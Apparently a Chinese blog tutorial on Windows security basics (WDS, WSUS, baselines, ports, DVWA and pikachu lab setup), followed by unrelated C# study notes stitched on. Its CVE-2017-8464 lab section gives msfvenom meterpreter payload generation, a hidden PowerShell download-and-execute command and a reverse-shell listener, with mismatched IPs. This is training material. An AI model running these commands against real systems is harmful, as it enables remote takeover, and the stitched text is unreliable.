    ②.DHCP:动态主机配置协议,主要用于向需要安装操作系统的客户机分配IP地址
    ③. AD服务:活动目录服务,主要用于用户的身份验证
    WDS服务
  • 安装WDS服务
    ①.打开服务器管理器,添加角色
    添加角色②.在服务器角色中,勾选“Windows部署服务”,下一步
    Windows部署服务③.在角色服务中,选择“部署服务器”、“传输服务器”点击下一步,直至安装成功
    部署服务器
    传输服务器
  1. WSUS服务器
    WSUS: windows server update services,是微软推出的一款补丁服务器,可以依据具体环境搭建WSUS服务器,有效解决公司内部网络中不同版本的windows客户端计算机面对众多系统补丁不知所措,同时强制客户端重启时安装补丁避免客户端计算机遭受攻击的危险,以及大量客户端下载补丁造成的带宽浪费现象。
    WSUS补丁服务器部署在企业中,可以有以下几种部署拓扑:
    单服务器拓扑: 利用一个WSUS服务器从微软的更新网站下载补丁,然后负责将补丁发给内网用户。为大多数中小公司的最佳选择。
    链式拓扑: 定义了上游服务器和下游服务器,上游服务器可以直接连接到微软的更新网站,下游服务器则只能从上游服务器下载更新。此类拓扑为总公司/分公司的管理模型中常见。考虑到性能因素,链式拓扑很少超过三层。
    分离式拓扑: 指与互联网隔离的网络内,WSUS服务器无法从微软网站进行补丁更新,只能先用一个能连接互联网的WSUS服务器下载所需补丁,然后将下载的补丁导出成数据。隔离网络内的WSUS服务器通过导入数据来间接完成补丁下载。此拓扑常用于保密无法连入公网单位。
  • 安装WSUS服务器角色
    ①.在“服务器管理器”中,单击“仪表板”,然后单击“添加角色和功能”
    添加角色和功能②.在服务角色中勾选“Windows Server”更新服务 , 下一步
    Windows Server 更新服务③.功能向导中勾选“ .Net Framework 3.5功能”,下一步
    .Net Framework 3.5功能④.在角色服务向导中,我们选择默认的选项,第一个是WID数据库,WSUS可以使用SQL数据库,也可以使用自带的WID数据库,一般我们都使用自带的数据库,除非公司的要求很高,数据库管理员需要用数据库自带的报表服务器或者提供NLB功能,否则都用自带WID数据库
    WID
    ⑤.这里需要指定补丁更新包的存放路径 (本例放在C:\WSUS)
    C:\WSUS
    ⑥.由于Windows Server 2016 默认没有安装.NET Framework 3.5,需要手动指定离线包进行安装(开始前已准备好.Net Framework 3.5,添加进来安装即可)
    指定备用源路径确定⑦.安装完成后可以在开始菜单 - Windows 管理工具中看到Windows Server 更新服务、Internet Information Services(IIS)管理器
    功能安装更新服务

十四、Windows基线安全

  1. 基线的含义
  • 什么是安全基线?
    每个组织都会面临安全威胁。 但是,对不同的组织来说,最担心的安全威胁类型可能截然不同。 例如,电子商务公司可能侧重于保护其面向 Internet 的网页,而医院可能侧重于保护病人的机密信息。 所有组织共有的需求是使其应用和设备保持安全。 这些设备必须符合由组织定义的安全标准(或安全基线)。
    安全基线是 Microsoft 建议的一组配置设置,并说明了这些设置的安全影响。 这些设置基于来自 Microsoft 安全工程团队、产品组、合作伙伴和客户的反馈。
  • 为什么需要安全基线?
    安全基线是为客户提供的基本权益,因为它们将来自 Microsoft、合作伙伴和客户的专业知识综合在一起。
    例如,Windows10 有超过 3000 个组策略设置,其中不包括超过 1800 个 Internet Explorer 11 设置。 在这 4800 个设置中,只有一部分与安全相关。 尽管 Microsoft 提供关于不同安全功能的广泛指南,但浏览每个指南可能需要很长时间。 你必须自行确定每个设置的安全影响。 然后,你还需要确定每个设置的相应值。
    在现代组织中,安全威胁格局不断发展,IT 专业人员和决策者必须跟上安全威胁,对安全设置进行必要的更改,以帮助缓解这些威胁。 为了实现更快的部署并更轻松地管理 Microsoft 产品,Microsoft 为客户提供了可使用易耗格式的安全基线,例如组策略对象备份。
  • 基线原则
    我们的建议遵循一种简化且高效的基线定义方法。 该方法的基础实质上是:
    基线专为管理良好的、注重安全的组织而设计,标准最终用户没有管理权限。
    基线仅在缓解当前安全威胁且不会导致比它们缓解的风险更糟糕的操作问题时才强制实施设置。
    基线仅在授权用户可能设置为不安全状态时强制执行默认值:
    ①.如果非管理员可以设置不安全状态,请强制执行默认设置。
    ②.如果设置不安全的状态需要管理权限,则仅当错误消息管理员可能选择不当时才强制执行默认设置。
  • 如何使用安全基线?
    你可以将安全基线用于:
    ①.确保用户和设备配置设置符合基线。
    ②.设定配置设置。 例如,可以使用组策略、Microsoft Endpoint Configuration Manager或Microsoft Intune使用基线中指定的设置值来配置设备。

十五、Windows常见网络端口

  1. HTTP与HTTPS
    80: http,首先进行 tcp的三次握手,然后客户端请求页面的内容,服务器回应,客户端请求页面的布局、特效,服务器回应。不发布网站直接关闭
    443端口: https,是提供加密和通过安全端口传输的另一种HTTP。不发布网站直接关闭,如:VisualSVN Server是一种SVN服务端,会占用443端口,VMware Workstation 的后台wmware-hostd.exe会占用443端口。
  • HTTP与HTTPS的区别
    ①.https需要到CA申请证书
    ②.http是超文本传输协议,信息是明文传输,https是进行过SSL加密后的传输协议
    ③.http用的端口是80,https用的端口是443
    ④.http的连接很简单,是无状态的;https的协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议
  • HTTPS的工作原理
    ①.客户端发起https请求
    ②.服务器端配置
    ③.传送证书
    ④.客户端解析证书
    ⑤.传送加密文件
    ⑥.服务端解密信息
    ⑦.传输加密后的信息
    ⑧.客户端解密信息
  1. DNS服务端口
    端口53: DNS服务端口。
    nslookup www.any.com:检查DNS服务器,用于排除错误
    常见故障:DNS污染:比如访问谷歌却返回了百度的IP
    DNS劫持:钓鱼网站
  • DHCP(动态主机配置协议)服务
    DHCP(动态主机配置协议)服务: 接收用67端口,发送用68端口

ipconfig /renew

配置完了需要renew更新一下
常见故障:DHCP欺骗
DHCP

  1. SMTP简单路由协议
    端口25: 简单邮件传输协议,不需要邮件就尽量把端口关掉。
    常见故障:垃圾邮件
    SMTP

  2. POP3协议
    POP3(110端口),全名为“Post Office Protocol - Version 3”,即“邮局协议版本3”。是TCP/IP协议族中的一员,由RFC1939 定义。本协议主要用于支持使用客户端远程管理在服务器上的电子邮件。提供了SSL加密的POP3协议被称为POP3S。
    POP 协议支持“离线”邮件处理。其具体过程是:邮件发送到服务器上,电子邮件客户端调用邮件客户机程序以连接服务器,并下载所有未阅读的电子邮件。这种离线访问模式是一种存储转发服务,将邮件从邮件服务器端送到个人终端机器上,一般是PC机或 MAC。一旦邮件发送到 PC 机或MAC上,邮件服务器上的邮件将会被删除。但POP3邮件服务器大都可以“只下载邮件,服务器端并不删除”,也就是改进的POP3协议。
    总结:POP3使用了SSL加密传输的称为POP3s协议,处于邮件客户端的接收端
    常见故障:邮件可能会被黑客截取

  3. IMAP协议
    因特网信息访问协议(缩写为IMAP,以前称作交互邮件访问协议)是一个应用层协议,用来从本地邮件客户端(如Microsoft Outlook、Outlook Express、Foxmail、Mozilla Thunderbird)访问远程服务器上的邮件。
    143端口,与pop3类似的邮件协议。处于邮件客户端的接收端
    以下截图是对应协议使用了SSL加密传输后所使用的端口:
    IMAP

  4. FTP协议(21端口)
    文件传输协议(File Transfer Protocol,FTP)是用于在网络上进行文件传输的一套标准协议,它工作在 OSI 模型的第七层, TCP 模型的第四层, 即应用层, 使用 TCP 传输而不是 UDP, 客户在和服务器建立连接前要经过一个“三次握手”的过程, 保证客户与服务器之间的连接是可靠的, 而且是面向连接, 为数据传输提供可靠保证。
    FTP允许用户以文件操作的方式(如文件的增、删、改、查、传送等)与另一主机相互通信。然而, 用户并不真正登录到自己想要存取的计算机上面而成为完全用户, 可用FTP程序访问远程资源, 实现用户往返传输文件、目录管理以及访问电子邮件等等, 即使双方计算机可能配有不同的操作系统和文件存储方式。
    常见故障:21端口匿名登录,配置的时候出现的问题

  5. Telnet协议(23端口)与远程桌面(3389端口)
    Telnet:23端口,远程控制协议。
    远程桌面:3389端口。一般情况下需要在注册表中把3389端口改为其他端口。通过Telnet演变而来。
    Telnet协议(23端口)与远程桌面(3389端口)

  6. RPC(远程过程调用)服务(135端口)
    RPC是远程过程调用(Remote Procedure Call)的缩写形式。SAP系统RPC调用的原理其实很简单,有一些类似于三层构架的C/S系统,第三方的客户程序通过接口调用SAP内部的标准或自定义函数,获得函数返回的数据进行处理后显示或打印。
    常见故障:冲击波病毒
    RPC(远程过程调用)服务(135端口)

  7. NetBIOS协议(139端口)
    NetBIOS,为网上基本输入输出系统(英语:Network Basic Input/Output System)的缩写,它提供了OSI模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据。严格来说,NetBIOS不是一种网上协议,而是应用程序接口(API)。较古老的操作系统,使用IEEE 802.2与IPX/SPX协议,可以使用NetBIOS Frames协议或NetBIOS over IPX/SPX协议来运作。现代操作系统,多数都使用TCP/IP协议,则可透过NetBIOS over TCP/IP协议来相互通信。

  8. SMB协议
    它能被用于Web连接和客户端与服务器之间的信息沟通,运行于NBT(NetBIOS over TCP/UDP)上,使用137、138、139端口。其中137、138端口是UDP端口,139是TCP端口。
    常见故障:永恒之蓝病毒

十六、Windows震网三代漏洞实验

  1. CVE-2017-8464漏洞简介
    2017年6月13日,微软官方发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统,安全风险高危。
  • CVE-2017-8464漏洞原理
    Windows系统使用二进制解析 .LNK文件,当恶意二进制代码被系统识别执行时即可实现远程代码执行,由于是在explorer.exe进程中运行,所以 load 进内存时与当前用户具有相同权限。
    攻击者利用这一解析过程将包含恶意二进制的代码被附带进可移动驱动器(或远程共享过程中),受害者使用powershell解析 .LNK 文件后即被黑客所控制。
  • 漏洞影响范围
    该漏洞影响从Win7到最新的Windows 10操作系统,漏洞同样影响操作系统, 但不影响XP 2003系统。
  1. 复现环境
    攻击机:kali 192.168.152.139
    靶机:windows7 64位 /Windows server 2012 R2 192.168.152.133
    两个虚拟机肯定要相互ping通,靶机关闭防火墙和杀毒软件

  2. 漏洞复现
    注意:接下来命令中配置的IP地址均为kali-Linux-2022.2的IP地址,后面配置的端口要与第一步配置的端口保持一致,端口不一致会出现问题

①.kali下生成一个反弹的ps1的shell,文件名为search.ps1在目录/opt下

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.152.139 lport=5555 -f psh-reflection > /opt/search.ps1

②.切换到/opt目录下,然后查看到已生成了search.ps1 的powershell 后门,移动search.ps1至/var/www/html目录下

cd /opt
ls
mv search.ps1 /var/www/html

③.启动apache服务,然后使用本地浏览器登录看apache是否启动成功

service apache2 start

④.物理机浏览器访问

192.168.152.139/search.ps1

⑤.靶机建立快捷方式,右键-新建-快捷方式,以下命令为远程下载并执行

 powershell -windowstyle hidden -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.152.139/search.ps1’);test.ps1”

⑥.kali进入msf,创建监听反弹

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set lhost 192.168.50.133
set lport 5555
  1. CVE-2017-8464漏洞怎样解决
    对于无法及时更新补丁的主机,我们建议采用如下的方式进行缓解:震网三代LNK文件远程代码执行漏洞(CVE-2017-8464)建议在服务器环境执行以下缓解措施:禁用U盘、网络共享及关闭Webclient Service。请管理员关注是否有业务与上述服务相关并做好恢复准备。Windows搜索远程命令执行漏洞(CVE-2017-8543)关闭Windows Search服务。

十七、Windows安装pikachu靶场

  1. 环境准备
    下载phpstudy(集成了MySQL、PHP、NGINX):phpstudy
    pikachu下载:pikachu
  2. 安装步骤
    ①.将下载好的pikachu安装包解压后放到phpstudy_pro的www目录下
    1②.修改phpstudy的网站根目录为pikachu的根目录
    2③.启动MySQL、NGINX、PHP服务
    3④.修改数据库的root密码
    4⑤.创建名为pikachu的数据库
    5⑥.修改pikachu配置文件正确信息
    6⑦.使用浏览器访问

127.0.0.1

,显示如下界面表示搭建成功
7

十八、Windows安装WordPress

  1. 环境准备
    下载phpstudy(集成了MySQL、PHP、NGINX):phpstudy
    wordpress:wordpress
  2. 安装步骤
  • 将下载好的WordPress安装包解压后放到phpstudy_pro的www目录下
    1
  • 修改phpstudy的网站根目录为WordPress的根目录
    2
  • 启动MySQL、NGINX、PHP服务
    3
  • 修改数据库的root密码
    4
  • 创建名为WordPress的数据库
    5
  • 使用浏览器访问

127.0.0.1

,显示出WordPress的配置界面
6

  • 点击【现在就开始】按钮,然后配置如图所示的相关信息
    7
  • 点击【现在就开始】按钮,然后配置如图所示的相关信息,然后【提交】按钮
    8
  • 点击【运行安装程序】按钮9
  • 如下图所示,在文本框中填写相关信息,然后安装WordPress
    10
  • 如下图所示,点击【登录】按钮
    11
  • 如下图所示,输入用户名和密码,点击【登录】
    12
  • 如下图所示,显示仪表盘说明安装成功了
    13

十九、Windows安装DVWA

  1. 准备环境
    下载phpstudy(集成了MySQL、PHP、NGINX):phpstudy
    DVWA下载:DVWA
  2. 安装步骤
    ①.将下载好的DVWA安装包解压后放到phpstudy_pro的www目录下
    1②.修改phpstudy的网站根目录为DVWA的根目录
    2③.启动MySQL、NGINX、PHP服务
    3④.修改数据库的root密码
    4⑤.创建名为DVWA的数据库
    5⑥.修改DVWA的配置文件,如下图所示
    6⑦.重新启动phpstudy,之后再浏览器中输入127.0.0.1/DVWA回车就会打开DVWA网站,跳转到登录界面
    7⑧.DVWA默认账户名:admin,默认密码:password。登录之后可以看到它包含了很多类型漏洞练习环境,这时候我们的靶场就搭建成功了
    8

二十、小结

本章详细的介绍了Windows操作系统下的基础知识,包括:Windows的基础命令、Windows用户管理、Windows震网三代漏洞实验、Windows下的靶场搭建等,下一章,会给大家详细介绍Linux系统下的基础知识,敬请期待吧~~~

  • 30
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论
c#习笔记(1) 51099在线习网发布 文章来源:网络收集 发布时间:2006-05-25 字体: [大 中 小] 51099在线习网 http://www.51099.com 1, 结构(struct) 与 类(class) [attributes] [modifiers] struct identifier [:interfaces] body [;] 结构与类很相似,都表示可以包含数据成员和函数成员的数据结构。与类不同的是,结构是值类型并且不需要堆分配。结构类型的变量直接包含结构的数据,而类类型的变量包含对数据的引用(该变量称为对象)。 struct 类型适合表示如点、矩形和颜色这样的轻量对象。尽管可能将一个点表示为类,但结构在某些方案中更有效。在一些情况下,结构的成本较低。例如,如果声明一个含有 1000 个点对象的数组,则将为引用每个对象分配附加的内存。结构可以声明构造函数,但它们必须带参数。声明结构的默认(无参数)构造函数是错误的。总是提供默认构造函数以将结构成员初始化为它们的默认值。在结构中初始化实例字段是错误的。在类中,必须初始化实例对象. 使用 new 运算符创建结构对象时,将创建该结构对象,并且调用适当的构造函数。与类不同的是,结构的实例化可以不使用 new 运算符。如果不使用 new,那么在初始化所有字段之前,字段将保持未赋值状态且对象不可用。对于结构,不像类那样存在继承。一个结构不能从另一个结构或类继承,而且不能作为一个类的基。但是,结构从基类 Object 继承。结构可实现接口,其方式同类完全一样。 [c ] 与 C 不同,无法使用 struct 关键字声明类。在 C# 中,类与结构在语义上是不同的。结构是值类型,而类是引用类型。 2, 装箱和拆箱(取消装箱) 装箱是值类型到 object 类型或到该值类型所实现的任何接口类型的隐式转换。将一个值的值装箱会分配一个对象实例并将该值复制到新的对象中。关键字 object. 取消装箱是从 object 类型到值类型或从接口类型到实现该接口的值类型的显式转换。取消装箱操作包括:检查对象实例,确保它是给定值类型的一个装箱值。将该值从实例复制到值类型变量中。 例: int i = 123; // A value type object box = i; // Boxing int j = (int)box; // Unboxing 装箱转换 取消装箱 3 , 隐式和显式 下列转换属于隐式转换:例:object o=i; 标识转换。 隐式数值转换。 隐式枚举转换。 隐式引用转换。 装箱转换。 隐式常数表达式转换。 用户定义的隐式转换。 下列转换属于显式转换: object 0=(object)i; 所有隐式转换。 显式数值转换。 显式枚举转换。 显式引用转换。 显式接口转换。 取消装箱转换。 用户定义的显式转换 4, delegate(委托) delegate void D(int x); class C{ public static void M1(int i) { /* ... */ } public static void M2(int i) { /* ... */ }} class{…….D cd1 = new D(C.M1);………….} 委托是一个数据结构,该数据结构引用一个静态方法,或引用一个对象实例和该对象的实例方法。在 C 或 C 中与委托最接近的是函数指针,但函数指针只能引用静态函数,而委托可以同时引用静态方法和实例方法。在后一种情况中,委托不仅存储对方法入口点的引用,还存储对调用其方法的对象的引用。与 C 函数指针不同,委托是完全面对对象的;与指向成员函数的 C 指针不同,委托同时封装对象实例和方法。委托声明定义从类 System.Delegate 派生的类。委托实例封装一个或多个方法,每个方法都被称为可调用实体。对于实例方法,可调用实体由一个实例和该实例上的方法组成。对于静态方法,可调用实体仅由一个方法组成。给定委托实例和适当的参数集,便可以用该参数集调用此委托实例的所有方法。委托实例的一个有趣和有用的属性是它不了解或不关心它所封装的方法的类;真正重要的只是方法要与委托的类型兼容, 这使委托非常适合“匿名”调用。可选的形参表指定委托的参数,而返回类型则指示委托的返回类型。如果下面两个条件都为真,则方法和委托类型是兼容的:(兼容的概念就是可以用此声明的委托对方法进行委托). 1它们具有相同的参数数目,并且类型相同,顺序相同,参数修饰符也相同。 2它们的返回类型相同。 C# 中的委托类型是名称等效的,而不是结构等效的。(但是请注意:两个不同但结构上等效的委托类型的实例可能会比较为相等),准确地说,两个具有相同参数列表、签名和返回类型的不同的委托类型被认为是不同的委托类型。委托实例所封装的方法集合称为调用列表。 5, interface(接口) [attributes] [modifiers] interface identifier [:base-list] {interface-body}[;] 一个接口定义一个协定。实现接口的类或结构必须遵守其协定。接口可以从多个基接口继承,而类或结构可以实现多个接口。接口可以包含方法、属性、事件和索引器。接口本身不提供它所定义的成员的实现。接口只指定实现该接口的类或接口必须提供的成员。接口可以是命名空间或类的成员,并且可以包含下列成员的签名:方法属性 索引器. 一个接口可从一个或多个基接口继承。接口可由类实现。实现的接口的标识符出现在类的基列表中。被继承的接口称为该接口的显式基接口。当接口具有一个或多个显式基接口时,在该接口声明中,接口标识符后跟一个冒号以及由逗号分隔的基接口标识符列表。接口的基接口是显式基接口及其基接口。换言之,基接口集是显式基接口、它们的显式基接口(依此类推)的完全可传递的闭包。接口继承其基接口的所有成员。接口成员是通过 I.M 和 I[A] 形式的成员访问和索引访问表达式访问的,其中 I 是接口类型的实例,M 是该接口类型的方法、属性或事件,A 是索引器参数列表。接口可以由类和结构实现。为了指示类或结构实现接口,在该类或结构的基类列表中包含了接口标识符。在实现类或结构中定位接口成员的实现的过程称为接口映射。 6,object object 类类型是所有其他类型的最终基类。C# 中的每种类型都是直接或间接从 object 类类型派生的。可以把任何类型的数值给object类型. 7,string类型 string 类的实例表示 Unicode 字符串。尽管 string 是引用类型,但相等运算符(== 和 !=)被定义为比较 string 对象(而不是引用)的“值”(7.9.7 字符串相等运算符)。这使得对字符串相等性的测试更为直观。字符串为 string 类型并可写成两种形式,即用引号引起来和用 @ 引起来。用引号引起来的字符串括在双引号 (") 内, 并且可以包含包括换码序列在内的任何字符用 @ 引起来的字符串以 @ 开头,并用双引号引起来。用 @ 引起来的字符串以 @ 开头,并用双引号引起来。若要在一个用 @ 引起来的字符串中包括一个双引号,请使用两对双引号:@ 符号的另一种用法是使用碰巧成为 C# 关键字的被引用的 (/reference) 标识符。 8, 修饰符 修饰符作用 访问修饰符 public private internal protected 指定声明的类型和类型成员的可访问性。 访问不受限制 只有包含该类的成员的类可以访问 只有当前工程可以访问 只有包含该成员的类和继承的类可以访问 abstract指示某个类只能是其他类的基类。 const指定无法修改字段或局部变量的值。 event声明一个事件。 extern指示外部实现此方法。 override提供从基类继承的虚拟成员的新实现。 readonly声明一个字段,该字段只能赋值为该声明的一部分或者在同一类的构造函数中。 sealed指定类不能被继承。 static声明属于类型本身而不是属于特定对象的成员。 unsafe声明不安全的上下文。 virtual在派生类中声明其实现可由重写成员更改的方法或访问器。 volatile指示字段可由操作系统、硬件或并发执行的线程等在程序中进行修改。 9,语句 语句是程序指令。除非特别说明,语句都按顺序执行。C# 具有下列类别的语句。 类别C# 关键字 选择语句if, else, switch, case 迭代语句do, for, foreach, in, while 跳转语句break, continue, default, goto, return 异常处理语句throw, try-catch, try-finally Checked 和 Uncheckedchecked, unchecked fixed 语句Fixed lock 语句Lock (1) foreach 语句为数组或对象集合中的每个元素重复一个嵌入语句组。foreach 语句用于循环访问集合以获取所需信息,但不应用于更改集合内容以避免产生不可预知的副作用。此语句的形式如下: foreach (type identifier in expression) statement 若要循环访问集合,集合必须满足特定的要求。集合类型: 必须是 interface、class 或 struct。 必须包括返回类型的名为 GetEnumerator 的实例方法,例如 Enumerator(详见下文)。 Enumerator 类型(类或结构)必须包含: 一个名为 Current 的属性,它返回 ItemType 或者可以转换为此类型的类型。属性访问器返回集合的当前元素。 · 一个名为 MoveNext 的 bool 方法,它递增项计数器并在集合中存在更多项时返回 true。 有三种使用集合的方法: 使用上述指导创建一个集合。此集合只能用于 C# 程序。 1. 使用上述指导创建一个一般集合,另外实现 IEnumerable 接口。此集合可用于其他语言(如 Visual Basic)。 2. 在集合类中使用一个预定义的集合。 (2) throw 语句用于发出在程序执行期间出现反常情况(异常)的信号。throw 语句的形式为: throw [expression]; expression :异常对象。当在 catch 子句中再次引发当前异常对象时,它被省略。 (3)try –catch语句 try-catch 语句由一个 try 块和其后所跟的一个或多个 catch 子句(为不同的异常指定处理程序)构成。try-catch 语句采用下列形式之一: try try-block catch (exception-declaration-1) catch-block-1 catch (exception-declaration-2) catch-block-2 ... try try-block catch catch-block (4) fixed 防止变量被垃圾回收器重定位。 (5) lock lock 关键字将某个语句块标记为临界区。 6. 方法参数 如果为没有 ref 或 out 的方法声明一个参数,则此参数可以具有关联的值。可以在方法中更改该值,但当控制传递回调用过程时,不会保留更改的值。通过使用方法参数关键字,可以更改这种行为。如果没有ref,out则默认为值传递,虽然可以在方法中修改这个参数的值,但是修改后的值不会还会到调用该方法的程序中. params :params 关键字可以指定在参数数目可变处采用参数的方法参数 ref :引用传递 out : 7, namespace(名字空间) C#习笔记(2)【大 中 小】【打印】【加入收藏】【关闭】 【收藏到新浪ViVi】【收藏到365KEY】 浏览字号:日期:2004-07-11 人气:8092 出处: write by cash(天下第七) 2002.01.20 版权所有,翻录不究 [email protected] 选择 我身上携带着精神、信仰、灵魂 思想、欲望、怪癖、邪念、狐臭 它们寄生于我身体的家      我必须平等对待我的每一位客人 -----------伊沙:《原则》 我的名字是cash,所以我很功利主义; 我的星像是Leo,所以我很大男人主义; 我的语言是C#,所以我有点儿拿不定主义。 /* 你能看得出来,这不是一篇正规的技术文章,所以若你不小心从里边读到了一个爱情故事,可不要奇怪。有很多人用程序来表述爱情,在其中我能看到有Money,有Girl,有一些还涉及到Sex,但是我没有找到Love,我始终相信这世上有一种力量直接来自于爱情,到现在仍然相信。*/ C#(读作C sharp),是Microsoft公司新推出的(?)专为.NET设计的一门语言,号称“C/C++家族中第一种面向组件的语言”。很多人觉得它应该像C或者C++,但事实上它更像是java的一个clone,所以作为入门,读一下清华大出版社出版的《Java 语言与面向对象程序设计》可能会对你有所帮助。本文假定你具备一切习此语言所需的知识,没有也不要紧,我会在文中尽量列出相关的link,鉴于互联网瞬息万变的特点,若某一链接不可用,请自行至Google查询。 如前所述,我是一个狮子座男人,一度我认为习Java会使我看起来与众不同,可是几个月以后我放弃了这个选择,我看了论坛里关于这两种语言孰优孰劣的讨论,最终选择了C#,请不要问我为何做出这样的选择,很多人认为中文是世界上最美丽的语言,可是华人世界以外有谁在讲汉语? 另外我发现论坛上习Java的人都非常的有个性,当有人问起习哪种语言更好时,他会打出几百个“JAVA”来,填满整个屏幕,也不说是为了什么。我觉得这样做未免有些太霸道了,如果你说这叫偏执狂我也不反对,虽然我是狮子座,可也不想被人这样看。 在C#刚刚推出的时候,大多数的程序员都不免吼上两句——不是因为高兴,而是因为又多了一种语言。他们觉得现在的语言太多了,没有必要再多出一种来添乱子。但是当他们看完C#的文档后又开始高兴起来,因为C#是如此简单:事实上,简单正是C#最大的特点。除此之外,它还具有现代、面向对象、类型安全、版本控制、兼容、灵活等特点。详细介绍请参阅rainbow(一个长着胡子的彩虹)翻译的<> ,前几章非常的有趣。 看完了前面几段,我的朋友提出了不同的意见:C#不是Java的Clone,它只是长得有些像Java而已,其实面向对象、中间语言什么的也不是什么新玩意儿,非Sun独创,有文为证:华山论剑:C#对Java。另外他对我上一集中说Microsoft越来越不要脸也极为生气,因为相比之下,Sun也不怎么样,微软已经将C#提交设在日内瓦的ECMA(European Computer Manufacturers' Association,国际标准化机构欧洲电子计算机工业会)并获得批准。Sun就从来没有将它的Java交给过ECMA,以至于正当Microsoft尽力在Visual J++基础上拓展Java功能,并使之与Windows操作系统紧密结合在一起的时候,Sun公司对Microsoft提出了法律诉讼,控告Microsoft违反了许可证协议中的条款,最终的结果是Microsoft公司不得不停止其Visual J++产品的开发。(Microsoft后来在完全面向.NET框架的开发语言集中加入了Visual J#.NET,算是对Java语言用户的一种照顾。) 有人说,选择C#意味着选择MS(在中国的程序员当中,这并不是件值得自豪的事。如果你还不能理解这种心情,可以试想一下有人很认真地对你讲他喜欢听毛宁的歌)。事实上,通过ECMA标准的C#可以由任何人在任何平台上设计出它的开发程序。比如Ximian公司的Mono工程,可以使开发者能够编写同时在Windows和Linux上运行的.Net程序,这些程序甚至还可能在其它非Windows的操作系统上运行,比方Unix。这一段时间我正在Linux下试验这个工程,遗憾的是,还没有成功。 一位师兄对此种比较颇为不屑,他认为只要选一种语言去就好了,“重要的是你要用它,并且做的比别人好。”这让我想起来一直都很喜欢的那个歌:把你自己该做的那份工作,做得比别人出色。年轻的时候我老是用这句话自勉…… 写到这里我发现这个故事还没有提到桐桐,这篇东西是为她而作。我早在十八个月以前就答应了她,我答应了她很多事,但还没有完成一件,现在我要一件一件的去实现。所以这个故事还应该有个更好的开始。 2000年6月我大毕业,从北京回到了石家庄,到一家什么都做的公司上班(做一个网站),最开始制作界面,然后用asp编程,如果你用过asp就会知道,这是个很无聊的工种。在此之前我在一家报社实习,为他们的网站做设计和动画。在那里我认识了桐桐。 那时候她还在上。 >>>未完,待续... C#习笔记(3)【大 中 小】【打印】【加入收藏】【关闭】 【收藏到新浪ViVi】【收藏到365KEY】 浏览字号:日期:2004-07-11 人气:6938 出处: 开始 2000年6月我大毕业,从北京回到了石家庄,正式开始了我的职业生涯。如前所述,一开始我使用的语言是asp,我一直认为这不能称之为编程,因为asp不是一种编程语言,把它叫做动态网页实现技术可能更好。另外,asp很简单,并且,简单就是它全部的特点--这使得它很容易就能会(在后来的工作中,我接触到许多应聘的生,他们都告诉我自己精通asp语言)。虽然习起来很简单,但是在使用起来却不得不多费点儿劲儿:我还能记得自己晚上一个人在办公室用VI一步一步调试某一个网页的情景,每当遇到挫折失败的时候,总是想起给桐桐打一个电话,听听她的声音。如你所知,我总是遇到困难。 现在你能看出来,我不是高手,只是一个低手... 2000年6月我大毕业,从北京回到了石家庄,同一时间(美国西部时间6月22日上午),微软公司在位于美国西雅图郊外的总部内邀请新闻记者、新闻分析家等约400人,举行了新闻发布会“Forum2000”,宣布正式推出.Net计划。这个计划中包括了新的网络计算平台(.Net Framework)、新的语言(C#)、新的开发工具(Visual Studio.Net)以及asp的下一个版本ASP.NET,后者最开始被称为ASP+。那时候我习的主要兴趣就在ASP.NET上,并且通过这个窗口开始了解Microsoft.Net的各个方面。 ASP.NET仍然不能称之为一种编程语言,但是现在可以把它看作是一个创建、管理、部署Web应用程序的平台。可以使用任何.Net语言在这个平台上开发互联网应用程序,这其中当然包括C#。它们之间的关系可以从下图中看出: 这就是著名的.Net 平台结构图,从这个图上可以看到,ASP.NET、Windows Forms和VS.Net都不过是.Net开发平台的一部分,用于.Net应用程序的开发及展示。.Net 平台的核心技术为:通用语言运行时(CLR:Common Language Runtime)、基类库(Base Class Library)、.Net语言及Visual Studio.Net。 从这个图上也可以看出,.Net Framework是架构在Windows平台上的一个虚拟的运行平台,你可以想象将最下层的Windows换作其它的操作系统,比如说Linux,一样可以实现使用符合了CLS(Common Language Specification,通用语言规范)的.Net语言(VB.Net、C#、JScript.Net等)来创建ASP.NET或Windows Forms(可能会叫做Linux Forms)应用程序的功能,这其实就是我们前面介绍的Mono计划所要实现的功能。所以可以这么认为,理论上,C#是一种可以跨平台的语言,这很像Java,另一个比较像Java的地方是,C#也是一种(特殊意义上的)解释性的语言。同Java一样,C#编写的程序代码也是先通过C#编译器编译为一种特殊的字节代码(中间语言,Microsoft Intermediate Language,MSIL),运行的时候再经由特定的编译器(JIT编译器,Just In Time,JITer)编译为机器代码以供操作系统执行。 不仅是C#语言,所有.Net语言(将会包括我们常用的几十种现代的编程语言)都可以编写面向CLR的程序代码,这种代码在.Net中被称为托管代码(Managed Code),所有的Managed Code都直接运行在CLR上,具有与平台无关的特性。 解释性的语言很安全,并且可以通过它的运行平台为其赋予更多的功能,比如自动内存管理、异常处理等。事实上,C#语言的许多特点都是由CLR提供的,下面的CLR结构图说明了这一点。 可以看到,类型安全(Type Checker)、垃圾回收(Garbage Collector)、异常处理(Exception Manager)、向下兼容(COM Marshaler)、多线程支持(Thread Support)这些C#的特点都是由CLR来提供的。CLR最早被称为下一代Windows服务运行时(NGWS Runtime),是直接建立在操作系统层上的一个虚拟的运行环境,主要的功能是管理代码的运行。在.Net 平台结构图中,CLR的上面是.Net的基类库(Base Class Library,BCL),这组基类库包括了从基本输入输出到数据访问等各方面,提供了一个统一的面向对象的、层次化的、可扩展的编程接口。从.Net 平台结构图中也可以看到,基类库可以被各种语言调用和扩展,也就是说,不管是C#、VB.NET还是VC++.NET,都可以自由地调用.Net的基类库。事实上, C#并没有属于自己的类库,它所使用的编程接口就是.Net提供的基类库。所以,在决定使用C#时,真正需要费工夫习的其实是.NET框架的基类库:C#自身只有区区77个关键词,而且其语法对许多程序员来说都是他们非常熟悉的。BCL则相反,它包含了超过4500个以上的类和无数的方法、属性,在你的C# 程序中随时都可能会用到它来完成自己的任务。 